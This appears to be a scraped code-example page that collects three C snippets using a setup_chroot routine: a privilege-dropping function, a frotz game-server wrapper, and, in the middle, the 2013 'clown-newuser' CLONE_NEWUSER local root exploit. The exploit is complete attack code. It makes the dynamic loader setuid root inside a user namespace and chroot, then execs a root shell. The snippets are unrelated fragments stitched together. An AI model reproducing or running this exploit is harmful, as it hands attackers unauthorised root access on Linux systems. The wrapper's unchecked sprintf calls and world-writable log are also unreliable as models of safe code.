void drop_privileges(const uid_t uid, const gid_t gid) {
    VERIFY(setsid);
    if (insecure_flag == 1) {
        return;
    }
#ifndef RANDOM_UID
    {
        struct passwd *pd;
        pd = getpwuid(uid);
        VERIFY_EXP(pd != NULL);
        setup_chroot(pd->pw_dir);
    }
#endif
#ifdef HAVE_SETRESGID
    VERIFY(setresgid, gid, gid, gid);
#else
    VERIFY(setregid, gid, gid);
#endif
    VERIFY(setgroups, 1, &gid);
    VERIFY(setgid, gid);
    VERIFY(setegid, gid);
#ifdef HAVE_SETRESGID
    VERIFY(setresuid, uid, uid, uid);
#else
    VERIFY(setreuid, UID_MAX, uid);
#endif
    VERIFY(setuid, uid);
    VERIFY(seteuid, uid);
#ifdef HAVE_SETRESGID
    {
        uid_t real;
        uid_t effective;
        uid_t saved;
        VERIFY(getresuid, &real, &effective, &saved);
        VERIFY_EXP(uid == real);
        VERIFY_EXP(uid == effective);
        VERIFY_EXP(uid == saved);

        VERIFY(getresgid, &real, &effective, &saved);
        VERIFY_EXP(gid == real);
        VERIFY_EXP(gid == effective);
        VERIFY_EXP(gid == saved);
    }
#else
    VERIFY_EXP(geteuid() == uid);
    VERIFY_EXP(getuid() == uid);
    VERIFY_EXP(getegid() == gid);
    VERIFY_EXP(getgid() == gid);
#endif
}
Exemplo n.º 2
0
int main(int argc, char *argv[])
{
	char *su[] = {"/bin/su", NULL};
	char *sh[] = {"/bin/bash", NULL};
	char me[256], *mee[] = {me, "1", NULL};
	char uidmap[128], map_file[128];
	pid_t pid;
	struct stat st;
	int fd;


	if (geteuid() == 0 && argc == 1) {
		/* this will run inside chroot, started as the ld.so from
		 * su process
		 */
		printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
		chown("lib64/ld-linux-x86-64.so.2", 0, 0);
		chmod("lib64/ld-linux-x86-64.so.2", 04755);
		exit(0);
	} else if (geteuid() == 0) {
		/* this will run outside */
		setuid(0);
		execve(*sh, sh, environ);
		die("[-] execve");
	}

	printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");

	memset(me, 0, sizeof(me));
	readlink("/proc/self/exe", me, sizeof(me) - 1);
	printf("[+] Found myself: '%s'\n", me);

	if (fork() > 0) {
		printf("[*] Parent waiting for boomsh to appear ...\n");
		for (;;) {
			stat(me, &st);
			if (st.st_uid == 0)
				break;
			usleep(1000);
		}
		execve(me, mee, environ);
		die("[-] execve");
	}

	printf("[*] Setting up chroot ...\n");
	setup_chroot(me);
	printf("[+] Done.\n[*] Cloning evil child ...\n");

	if (pipe(go) < 0)
		die("[-] pipe");

	pid = clone(child, child_stack + sizeof(child_stack),
	            CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
	if (pid == -1)
		die("[-] clone");

	printf("[+] Done.\n[*] Creating UID mapping ...\n");

	snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
	if ((fd = open(map_file, O_RDWR)) < 0)
		die("[-] open");
	snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
	if (write(fd, uidmap, strlen(uidmap)) < 0)
		die("[-] write");
	close(fd);
	printf("[+] Done.\n");

	close(go[0]);
	write(go[1], "X", 1);

	waitpid(pid, NULL, 0);
	execve(*su, su, NULL);
	die("[-] execve");
	return -1;
}
Exemplo n.º 3
0
int
main (int argc, char **argv)
{
	int c;
	int ac;
	char *av[100];
	int fd;
	struct sockaddr_in addr;
	socklen_t addrlen;
	fd_set rset;
	int maxfd;
	int n;
	char buf[1000];
	struct timeval tv;
	double now;
	char *outp;
	int i;

	seteuid (getuid ());

	outp = argbuf;
	for (i = 0; i < argc; i++) {
		sprintf (outp, "%s ", argv[i]);
		outp += strlen (outp);
	}

	setbuf (stdout, NULL);
	setbuf (stderr, NULL);

	fd = open ("/dev/null", O_RDONLY);
	dup2 (fd, 0);
	close (fd);

	for (fd = 3; fd < 100; fd++)
		close (fd);

	while ((c = getopt (argc, argv, "k:Ld:n")) != EOF) {
		switch (c) {
		case 'n':
			no_fork = 1;
			break;
		case 'd':
			game_dir = optarg;
			break;
		case 'L':
			use_logfile = 1;
			break;
		case 'k':
			conf_key = optarg;
			break;
		default:
			usage ();
		}
	}

	if (optind >= argc)
		usage ();
	
	zfile_name = argv[optind++];

	if (optind != argc)
		usage ();

	if (strlen (zfile_name) > 30) {
		fprintf (stderr, "invalid zfile name\n");
		exit (1);
	}

	if (conf_key == NULL) {
		struct passwd *pw;

		if ((pw = getpwuid (getuid ())) == NULL) {
			fprintf (stderr, "can't get my name\n");
			exit (1);
		}

		conf_key = malloc (100);
		sprintf (conf_key, "%s-dev", pw->pw_name);
	}
			
	if (strlen (conf_key) > 50) {
		fprintf (stderr, "invalid conf_key\n");
		exit (1);
	}

	sprintf (aux_dir, "/var/zorky-%s", conf_key);

	orig_stdout = dup (1);

	if (use_logfile) {
		sprintf (log_name, "%s/tmp/dfrotz.log", aux_dir);
		log_fd = open (log_name,
			   O_WRONLY | O_CREAT | O_APPEND, 0666);
		if (log_fd < 0) {
			fprintf (stderr, "can't create log file\n");
			exit (1);
		}
		fchmod (log_fd, 0666);
		dup2 (log_fd, 1);
		dup2 (log_fd, 2);
	}

	printf ("\n");
	printf ("running: %s\n", argbuf);

	listen_sock = socket (AF_INET, SOCK_STREAM, 0);
	listen (listen_sock, 1);

	addrlen = sizeof addr;
	if (getsockname (listen_sock, (struct sockaddr *)&addr, &addrlen) < 0) {
		perror ("getsockname");
		exit (1);
	}

	port = ntohs (addr.sin_port);

	printf ("startp id %d\n", getpid ());
	printf ("port = %d\n", port);

	if (game_dir == NULL) {
		printf ("game_dir must be specified\n");
		exit (1);
	}

	setup_chroot ();

	if (no_fork) {
		pid = 0;
	} else {
		if ((pid = fork ()) < 0) {
			fprintf (stderr, "fork error\n");
			exit (1);
		}
	}

	if (pid > 0) {
		printf ("child1 %d\n", pid);
		sprintf (buf, "%d %d\n", port, pid);
		write (orig_stdout, buf, strlen (buf));
		exit (0);
	}

	close (orig_stdout);

	ac = 0;
	av[ac++] = cmd_name;
	av[ac++] = z5_filename;
	av[ac] = NULL;

	if (pipe (fds_to_frotz) < 0
	    || pipe (fds_from_frotz) < 0) {
		fprintf (stderr, "error making pipes\n");
		exit (1);
	}

	printf ("ready to fork frotz\n");

	if (no_fork == 0) {
		if ((pid = fork ()) < 0) {
			fprintf (stderr, "fork error\n");
			exit (1);
		}
	} else {
		pid = 0;
	}

	if (pid == 0) {
		dup2 (fds_to_frotz[0], 0);
		dup2 (fds_from_frotz[1], 1);
		dup2 (1, 2);

		close (fds_to_frotz[0]);
		close (fds_to_frotz[1]);
		close (fds_from_frotz[0]);
		close (fds_from_frotz[1]);

		for (fd = 3; fd < 100; fd++) {
			if (fd != log_fd)
				close (fd);
		}

		sprintf (buf, "execing  %s %s %s %s %d %d\n",
			 cmd_name, av[0], av[1], av[2],
			 open (av[0],O_RDONLY),
			 open (av[1],O_RDONLY));
		write (log_fd, buf, strlen (buf));


		execv (cmd_name, av);
		
		sprintf (buf, "exec failed %s %s\n",
			 cmd_name, strerror (errno));
		write (log_fd, buf, strlen (buf));
		exit (1);
	}

	printf ("child2 %d\n", pid);

	to_frotz = fds_to_frotz[1];
	close (fds_to_frotz[0]);

	from_frotz = fds_from_frotz[0];
	close (fds_from_frotz[1]);

	fcntl (from_frotz, F_SETFL, O_NONBLOCK);

	base_secs = get_secs ();
	while (1) {
		FD_ZERO (&rset);

		maxfd = 0;

		FD_SET (listen_sock, &rset);
		if (listen_sock > maxfd)
			maxfd = listen_sock;

		tv.tv_sec = 1000;
		tv.tv_usec = 0;

		if (client_sock) {
			now = get_secs ();
			if (now - base_secs > .5) {
				fprintf (stderr, "frotz timeout\n");
				close (client_sock);
				client_sock = 0;
			}


			FD_SET (from_frotz, &rset);
			if (from_frotz > maxfd)
				maxfd = from_frotz;

			FD_SET (client_sock, &rset);
			if (client_sock > maxfd)
				maxfd = client_sock;

			tv.tv_sec = 0;
			tv.tv_usec = 50 * 1000;
		}

		if (select (maxfd + 1, &rset, NULL, NULL, &tv) < 0) {
			perror ("select");
			exit (1);
		}

		if (FD_ISSET (listen_sock, &rset)) {
			if ((fd = accept (listen_sock, NULL, NULL)) >= 0) {
				if (client_sock) {
					printf ("rejected second connection\n");
					close (fd);
				} else {
					printf ("connected...\n");
					client_sock = fd;
					fcntl (client_sock, F_SETFL,
					       O_NONBLOCK);
					base_secs = get_secs ();
				}
			}
		}

		if (client_sock) {
			if (FD_ISSET (from_frotz, &rset)) {
				errno = 0;
				n = read (from_frotz, buf, sizeof buf);
				if (n == 0
				    || (n < 0 && errno != EWOULDBLOCK)) {
					fprintf (stderr,
						 "frotz died %d %d\n",
						 n, errno);
					exit (0);
				} if (n > 0) {
					base_secs = get_secs ();
					write (client_sock, buf, n);
				}
			}

			if (FD_ISSET (client_sock, &rset)) {
				n = read (client_sock, buf, sizeof buf);
				if (n == 0
				    || (n < 0 && errno != EWOULDBLOCK)) {
					fprintf (stderr,
						 "client died\n");
					close (client_sock);
					client_sock = 0;
				} else {
					write (to_frotz, buf, n);
				}
			}
		}
	}

	return (0);
}